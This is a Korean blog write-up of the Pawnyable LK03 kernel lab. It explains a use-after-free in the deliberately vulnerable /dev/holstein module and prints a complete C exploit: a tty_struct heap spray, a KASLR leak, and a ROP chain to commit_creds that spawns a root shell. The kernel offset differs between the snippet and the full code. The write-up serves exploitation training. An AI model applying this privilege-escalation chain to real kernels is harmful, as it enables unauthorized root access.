[Kernel Exploit Tech][Pawnyable] LK03 - UAF
pawnyable.cafe 내용을 바탕으로 정리한 글입니다.
1. 코드 분석과 취약점 탐지
코드를 살펴보면 전혀 문제될 것이 없어 보인다. 그러나 커널 공간에서 돌아가는 프로그램들은 동일한 리소스를 공유할 수 있고, g_buf
가 전역변수라는 사실을 고려하면 다음 module_close()
에서 UAF를 탐지할 수 있다.
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
여기서 /dev/holstein
이 하나만 열려 있다면 문제가 없다. 그러나 다음과 같이 2개가 동시에 열려 있는 상황에서 하나만 닫힌다면 큰 문제가 발생한다.
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
처음 fd1이 열릴 때 g_buf
에는 kernel heap상의 주소가 할당된다. 그러나 두 번째 fd2가 열릴 때 g_buf
에 heap 재할당을 시도하므로 fd1의 g_buf
도 새로 할당된 영역을 가리키게 된다. 이 상황에서 close(fd1)
을 통해 fd1을 닫으면 fd1으로는 더이상 아무런 작업도 할 수 없지만, kfree(g_buf)
만 호출하고 g_buf
를 NULL로 초기화하지 않았기 때문에 fd2에서는 이를 계속 사용할 수 있다.
이를 활용하면
/dev/holstein
을 연달아 2개 엶.- 하나를 해제함 (이 시점에서
g_buf
는 freelist에 들어감) /dev/ptmx
를 많이 열어tty_struct
를 spray함 (이때g_buf
도 freelist에 존재하므로 g_buf가 가리키는 영역에tty_struct
가 할당됨)- 닫히지 않은
/dev/holstein
을 사용해tty_struct
에 접근함
위와 같은 공격 방향을 생각해볼 수 있다.
2. exploit 작성
우선 KASLR을 우회하기 위해 base 주소부터 구한다. gdb를 통해 두 번째로 할당된 g_buf
주소를 기억한 후 spray 후에 이 주소에 접근하면 저번과 같은 방법으로 offset을 구할 수 있다.
#define koffset 0x39c60
...
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
read(fd2, buf, 0x400);
kbase = *(unsigned long*)&buf[0x18] - koffset;
g_buf = *(unsigned long*)&buf[0x38] - 0x38;
printf("kbase = %p\n", kbase);
printf("g_buf = %p\n", g_buf);
다음으로 ROP Chain을 만들어주고, g_buf의 앞쪽 영역에 쓰면 tty_struct
자체가 망가져버릴 위험이 있어 뒤쪽 영역에 써 줬다. 여기서는 g_buf:0x100
에 썼다. (gdb로 읽어봤을 때 아무 값도 없는 영역 뒤쪽이면 아무곳이나 될 것 같다.)
p = (unsigned long *)&buf[0x100];
*p++ = 0xdeadbeef;
*p++ = pop_rdi_ret;
*p++ = 0;
*p++ = prepare_kernel_cred;
*p++ = pop_rcx_ret;
*p++ = 0;
*p++ = mov_rdi_rax_rep_movsq_ret;
*p++ = commit_creds;
*p++ = swapgs_restore_regs_and_return_to_usermode;
*p++ = 0xdeadbeef;
*p++ = 0xcafebebe;
*p++ = (unsigned long)&win;
*p++ = user_cs;
*p++ = user_rflags;
*p++ = user_rsp;
*p++ = user_ss;
이제 ioctl()
이 ops의 12번째 주소를 호출한다는 사실을 고려해 다음과 같이 ops
를 설정해줄 수 있다. 이것도 마찬가지로 뒤쪽 영역에 써 놨다.
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
*(unsigned long *)&buf[0x3f8] = push_rdx_xor_eax_0x415b004f_pop_rsp_rbp_ret;
마지막으로 spray해둔 객체들에 대해 ioctl()
을 수행하면 쉘을 얻을 수 있다. 전체 exploit 코드는 다음과 같다.
펼치기/접기
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define koffset 0xc39c60
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0xeb7e4)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define push_rdx_xor_eax_0x415b004f_pop_rsp_rbp_ret (kbase + 0x14fbea)
unsigned long kbase = -1, g_buf = -1;
unsigned long user_cs, user_ss, user_rsp, user_rflags;
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int main() {
save_state();
int spray[100];
char buf[0x500];
unsigned long *p, g_buf;
// 1. Leak kernel base, g_buf
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
read(fd2, buf, 0x400);
p = buf;
kbase = p[3] - koffset;
g_buf = p[7] - 0x38;
printf("Kernel base: %p\n", kbase);
printf("g_buf: %p\n", g_buf);
p = (unsigned long *)&buf[0x100];
*p++ = 0xdeadbeef;
*p++ = pop_rdi_ret;
*p++ = 0;
*p++ = prepare_kernel_cred;
*p++ = pop_rcx_ret;
*p++ = 0;
*p++ = mov_rdi_rax_rep_movsq_ret;
*p++ = commit_creds;
*p++ = swapgs_restore_regs_and_return_to_usermode;
*p++ = 0xdeadbeef;
*p++ = 0xcafebebe;
*p++ = (unsigned long)&win;
*p++ = user_cs;
*p++ = user_rflags;
*p++ = user_rsp;
*p++ = user_ss;
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
*(unsigned long *)&buf[0x3f8] = push_rdx_xor_eax_0x415b004f_pop_rsp_rbp_ret;
write(fd2, buf, 0x400);
for (int i = 0; i < 50; i++) {
ioctl(spray[i], 0, g_buf + 0x100);
}
getchar();
return 0;
}
실행하면 쉘을 얻을 수 있다.
Leave a comment